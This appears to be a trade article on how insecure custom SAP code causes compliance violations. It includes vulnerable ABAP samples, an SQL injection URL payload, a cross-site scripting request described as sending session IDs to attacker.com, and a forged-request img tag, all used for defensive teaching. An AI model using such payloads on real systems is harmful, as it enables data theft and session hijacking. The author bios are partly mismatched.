Establishing security processes, developer training, and tools right from day one of development projects leads to initially higher investments. However, the savings resulting from lower cost for corrections and lower risk for cyber attacks in the final product are going to outweigh the initial investments substantially. See some examples of insecure code issues and some ways you can solve GRC problems at the code level.
Key Concept
Mastering security in SAP landscapes is a big challenge. While roles and authorizations, encryption, and single sign-on are well-established practices, security issues at the code level are often neglected. Bad code can lead to vulnerabilities such as backdoors, elevation of privileges, and data manipulation. This in turn can lead to violations of regulations such as Sarbanes-Oxley, Payment Card Industry Data Security Standard, and data protection laws.
Bad code can lead to compliance violations. What’s bad code? Many SAP customers develop vast amounts of custom code (e.g., in the HCM, Financials, or retail area). That can lead to severe issues:
- Experience shows that such code usually contains flaws and bugs
- An attacker can use vulnerability at the code level to bypass role concepts
- Attackers can call critical transactions, thus impersonating other users
- Attackers can change or delete critical business data
In this context, bad means that the application shows unexpected and unwanted side-effects, namely the exposure to attackers (either external or internal). A tool cannot detect these problems. For example, SAP solutions for GRC primarily focus on the authorization concepts and not on the implementation at the code level.
We’ll elaborate on the problem and provide examples in the Sarbanes-Oxley, Payment Card Industry Data Security Standard (PCI-DSS), and data protection context. We also show how to solve the insecure code problem: by ensuring that the software development process covers security and compliance requirements. Independent testing proves whether those requirements are met. That way, SAP users can effectively close this gap in their SAP landscape.
GRC As You Know It Today
SAP meets the increasing demand for GRC solutions by offering an integrated application portfolio that helps companies meet regulatory requirements and implement a coordinated GRC strategy. A key feature is the collection and aggregation of relevant information: company guidelines, internal rules, laws, frameworks for compliance management and control mechanisms, process descriptions, and catalogues for risk and controls. In addition, it identifies potential risks proactively and triggers corresponding actions. Based on that, you can implement automated control of roles and authorizations. Does your set of roles comply with your set of GRC rules? You can also monitor the compliance of process workflows.
Figure 1 shows that developers must first implement roles and authorization checks correctly and at the right places for the roles and authorizations to become effective. While available GRC tools mostly focus on roles, authorizations, and business processes, they usually don’t look at the custom code. This could lead to a metaphorical green light in a GRC reporting cockpit, whereas the code could contain backdoors. Or, it could not contain authorization checks or allow direct manipulation of databases. You would be able to bypass GRC requirements and no one would know it. We consider this a gap in today’s GRC mindset. In this article, we elaborate on that and show how to master this new challenge.

Figure 1
Existing GRC tools can only detect flaws at the business requirements, process, and rules level
Insecure Source Code: A Root Cause of Compliance Violations
The security of IT systems is a very broad field. Many topics in IT security, such as intrusion detection systems, firewalls, and virus scanners, arose because software architects and developers have been making errors in the design and implementation of software applications for several decades. Such issues might lead to reliability problems of the software and flaws in software applications might allow malicious attackers to gain control of applications. Exploiting software vulnerabilities, attackers can copy, destroy, or tamper with important business assets. As a matter of fact, reliable and functional software might still contain many security vulnerabilities.
Network security, secure configuration, roles, and authorizations can only be effective if you implement them correctly. For example, a correctly designed and verified role model is still insecure if the coding does not perform authorization checks at the right places in the code. Neither intrusion detection systems, nor firewalls (including Web application firewalls) fixes these flaws. A skilled attacker always finds a way through the firewall, in particular if you use modern application protocols (e.g., service-oriented architecture, Web services, and so on). Those are virtually tunneled through the firewall. The exploitation of coding flaws might be more time-consuming when firewalls are in place, but you cannot prevent it without fixing the actual flaw. For example, we have never encountered security vulnerabilities in authorization checks that were effectively prevented by a firewall. You cannot achieve compliance through putting firewalls in front of non-compliant software applications. The application remains insecure.
Examples: GRC Violations Due to Flaws in Source Code
Flaws at the source code level can lead to GRC violations. As the common GRC tools are not able to scan the source code for violating source code patterns, they are blind to those flaws. Before we show a solution to this critical problem, we discuss three common security vulnerabilities in software applications that lead to compliance issues.
- PCI DSS compliance issues by SQL injection source code vulnerabilities
- Sarbanes-Oxley compliance issues by cross-site scripting source code flaws
- Data protection issues by cross-site request forgery (XSRF) source code flaws
1. PCI DSS compliance issues by SQL injection source code vulnerabilities. SAP Business Server Pages (BSP) enables users to view credit card transactions they performed during the last year (Figure 2). One example company stated the following requirements for the application to the development team:
- To ensure that users are only allowed to view their own credit card transactions, the user must log on using a valid user name and password
- After the user is authenticated, the Web browser displays a list of credit card transactions
- The list is ordered by the transaction date
- If there are more than 30 transactions, the Web page displays only the first 30 transactions and displays a link at the bottom of the Web page. The Web server queries the next 30 transactions when the user clicks on this link.

Figure 2
BSP displays credit card transactions in a test system
Because this system stores and transmits credit card data, it must comply with PCI DSS. This standard specifies 12 requirements for compliance. Requirement 6 states that companies must “develop and maintain secure systems and applications.” You can find more about PCI DSS at www.pcisecuritystandards.org.
The application shown in Figure 2 uses a database back end to store the credit card transactions. The Web page queries the database and displays the transactions using the following ABAP coding.
* Read user input
1. input_year = request->get_form_field('input_year').
2. input_month = request->get_form_field('input_month').
* Create and execute the SQL query
3. CONCATENATE `uname = '` sy-uname `'` INTO cl_where.
4. CONCATENATE cl_where ` AND ta_date LIKE '` input_year input_month `%'` INTO cl_where.
5. SELECT * FROM ZCCINFO INTO CORRESPONDING FIELDS OF TABLE itab_zccinfo WHERE (cl_where) ORDER BY ta_date.
In the first and second line, the application reads two user-defined parameters, namely input_year and input_month. The third line creates a search criterion in which the user name of the expected search results must match the current user name (sy-user). In the fourth statement, both user- defined parameters are appended to the SQL query string. Finally in the last line, the SQL query statement is passed to an OpenSQL SELECT command.
Many SAP programmers think that encoding user input is usually not necessary because OpenSQL does it for you automatically. Unfortunately, this is not entirely true. If you enclose a variable with braces in an OpenSQL statement, the OpenSQL does not perform any encoding of a passed variable’s content. The content of the variable is directly passed to the native SQL layer. In consequence, a user being able to pass a string into such a statement can change the SQL query at will. This behavior is called an SQL injection vulnerability.
An attacker can trick the application into displaying the credit card transactions of all users in the system by calling the Web application with the following request (Figure 3). The attacker added the code ’ or mandt like ‘% to the SQL statement by playing with the URL:
/bc/bsp/sap/zvf_ccdata_demo/details.htm?input_year=2008&input_month=’ or mandt like ‘%

Figure 3
An SQL injection vulnerability allows attackers to view other users’ credit card transactions
This request results in the following OpenSQL query:
SELECT * FROM ZCCINFO
INTO CORRESPONDING FIELDS OF TABLE itab_zccinfo
WHERE sy-uname=’user’
AND ta_date LIKE ‘2008’ or mandt like ‘%%’
ORDER BY ta_date.
This query forms a tautology as the part or mandt like ‘%%’ is always true. As a result, the query returns all records of credit card transactions. Injection flaws such as these are called SQL injection vulnerabilities. Those vulnerabilities are explicitly forbidden by PCI DSS, namely requirement 6.5.6, which explicitly states that applications containing SQL injection flaws violate compliance with PCI DSS.
2. Sarbanes-Oxley compliance issues by cross-site scripting source code flaws. Another example Web application allows authorized users to accept or deny purchase orders (PO). We call this application POapp. To be able to work with the system, users have to authenticate via username and password. Then the system checks whether the user is authorized to access the resource with every request. It does so by validating the session identifier (session ID) of the user, which is stored in a cookie and is sent with each request.
During implementation, the developers of POapp decided to add a generic page to display errors. The page retrieves a GET parameter named error, whose value is printed to the content of the page. The ABAP source code of this page looks like this:
%@page language="abap"%
<% data: error type string.
error = request->get_form_field( 'error' ).
%> Error: <%= error %>
From the source code, it becomes clear that the page copies the value of the error parameter directly to the page content without any input validation or output encoding. Thus, an attacker is able to inject arbitrary HTML code into the page including JavaScript. This is called a cross-site scripting vulnerability. The following request sends the session ID of the requesting user to an external server (https://attacker.com):
https://www.poapp.com/error_page?error=
An attacker can send this link via email to his victims or embed the link in another page. If a victim clicks on this link and is logged on to www.poapp.com, the victim’s browser sends the session ID to the attacker’s server (https://attacker.com) without the victim necessarily realizing the breach. The attacker is now able to impersonate the victim, and is thus able to accept or deny any POs to which the victim is authorized.
Because this attack circumvents the authorization concept and the possibility to audit the application POapp, this cross-site scripting vulnerability is a violation of the Sarbanes-Oxley Act. Note that a single cross-site scripting vulnerability in any Web page within a domain renders any application hosted within this domain vulnerable.
3. Data-protection issues by XSRF source code flaws. The third example application in this article is an E- Recruiting Web application for employees and applicants of a company. Whereas the company’s employees automatically get an account in the E-Recruiting Web application, applicants may create an account there. They can then create and manage their professional profile and apply to a job vacancy, all from one Web application.
Because the profiles contain personal data of employees and applicants, the E-Recruiting application must be compliant to data protection acts. Those acts usually require that users must never be able to access other users’ data. There are also implicit security requirements, for example: “Applicant may only be invited for a job interview by an employee of the human resources department.” An applicant should not be able to invite himself for a job interview. However, if the underlying software application is vulnerable against common XSRF attacks, it might be possible. Now we’ll explain an XSRF attack.
Imagine that a recruiter in the human resources department gets a list of all applicants for a vacancy. The recruiter browses through the list of applicants and looks at their profiles. If the recruiter decides to invite an applicant, she clicks a button on the Web page. In the background, the recruiter’s Web browser performs an HTTP request at the Web server to add the selected applicant to the invitation list. The HTTP request looks like this:
GET / invite_applicant.jsp?applicant_id=2342
Now imagine that applicants can embed HTML tags within a free text field in their profile, thus being able to include hyperlinks, images, and text formatting. A malicious applicant could invite himself to a job interview by not including an image in his profile but a link to the business logic of the recruiting application using the following HTML tag:
<img src=”invite_applicant.jsp?applicant_id=2342”>
If the recruiter displays the malicious applicant’s profile in her Web browser, the browser tries to load an image from the URL invite_applicant.jsp?applicant_id=2342, which effectively adds the malicious applicant to a job interview without the employee’s intent. Note that this can be done to any other business transaction and that those are usually well-known because you’re using standard software. This type of security vulnerability is hard to detect in productive systems, because it solely contains valid HTML data and HTTP connections from authorized persons.
Solve GRC Issues at the Code Level
Good code is the result of a sound development process and from experienced development teams. You can verify the quality of the code by systematic testing procedures. Testing activities should take place early and continuously in the software development life cycle. This is particularly true for security testing.
Figure 4 shows proven approaches for security testing. It shows the security testing efforts in the complete software life cycle inverted, because it starts in a productive application. This reflects the worst case: that companies often uncover security vulnerabilities after going live. It is even worse if an attack is carried out successfully. Companies that go through this cycle backwards learn the hard way that you cannot add security by testing, but should take a continuous approach starting right at the beginning of projects.

Figure 4
Consider security during all phases of the software development lifecycle
During operation, companies often rely on known security concepts: firewalls, Web application firewalls, intrusion detection systems, intrusion prevention systems, reverse proxies, and virus scanners — just to name the usual suspects. These concepts are doubtlessly important and you should use them. However, they are not sufficient, because they focus on known security vulnerabilities and attacks. Furthermore, they cannot cope with attacks that take place at the semantic layer of the application. For example, how should a firewall determine whether some JavaScript coding is an attack or just harmless dynamic coding of a business function? All of the stated concepts have in common that they handle symptoms instead of solving the root causes of security problems.
Equally important as handling symptoms is dealing with the root cause: the security of the application, which includes configuration and coding. You can use a black-box vulnerability scanner to uncover obvious vulnerabilities in the application. Because scanners are not intelligent, they only find a relatively small number of flaws. We recommend a combination of automated testing and manual tests. A creative human tester can uncover vulnerabilities that tools cannot find. Often, black-box testing is the first and only security testing effort. This is a problem, because a black-box test only uncovers that there are problems, but not where. In addition, a black-box scan that doesn’t yield results doesn’t mean that the application is secure — you just don’t know. In any case, it is important to look at the application in more detail to find the root cause of the vulnerabilities.
Whether or not an application is robust against attacks is determined during coding. If the code is secure, even unknown attacks can basically be prevented. Industry best practice is a manual code review. Independent experts as well as a team (peer reviews) can perform code reviews. While a manual review is very thorough, it does not scale with large amounts of code, especially when there is a lot of old code. Thus, we recommend using a static code analysis tool to cover the whole code basis as a complementary measure. This not only finds known problems, but ensures that the whole code basis is analyzed regarding “low-hanging fruit” vulnerabilities. The most critical parts of the code should always be audited manually by independent experts.
The most important link in the chain is the programmer. By offering comprehensive security frameworks, guidelines, and training to the programmer, he can write secure code. This know-how should be updated on a regular basis by having regular training, because new types of attacks are found frequently. Basically, you can also test the security know-how of developers — in particular if a team of programmers has the skill to develop secure code.
The foundation of secure software is the specifications. We recommend verifying if all relevant security requirements (functional and non-functional) are covered. Minimum requirements should be known rules such as those implied by the OWASP Top 10, which you can find at the Web site www.owasp.org/index.php/Top_10_2007. However, they might not be sufficient for all cases, because not all applications are Web applications and a top ten list has only ten entries — things that attackers already know.
Andreas Wiegenstein
Andreas Wiegenstein is CTO of Virtual Forge. Since 1991, he has been working successfully as a freelancer and was involved in several projects related to SAP technology and applications (ITS, Web Application Server ABAP, Enterprise Portal [iViews], XI, and many more). He also conducted security analyses of SAP NetWeaver Enterprise Portal as well as other SAP NetWeaver components such as the SAP’s J2EE engine. He analyzed many custom applications written in ABAP, .NET, PHP, and C/C++.
You may contact the author at andreas.wiegenstein@virtualforge.de.
If you have comments about this article or publication, or would like to submit an article idea, please contact the editor.

Mark Schumacher
Sebastian Schinzel has been a developer and security consultant for more than five years in various technology domains. He focuses on application security assessments, as well as secure development of business software applications. At Virtual Forge, Sebastian is involved in research and development, security processes, and security assessments of SAP customer applications. Sebastian has a master’s degree in computer science and frequently publishes his insights in journals and blogs. Sebastian is a frequent speaker at international conferences. You may reach Sebastian via email at editor@grcexpertonline.com.
If you have comments about this article or publication, or would like to submit an article idea, please contact the editor.

Sebastian Schinzel
Sebastian Schinzel has been a developer and security consultant for more than five years in various technology domains. He focuses on application security assessments, as well as secure development of business software applications. At Virtual Forge, Sebastian is involved in research and development, security processes, and security assessments of SAP customer applications. Sebastian has a master’s degree in computer science and frequently publishes his insights in journals and blogs. Sebastian is a frequent speaker at international conferences.
You may contact the author at editor@grcexpertonline.com.
If you have comments about this article or publication, or would like to submit an article idea, please contact the editor.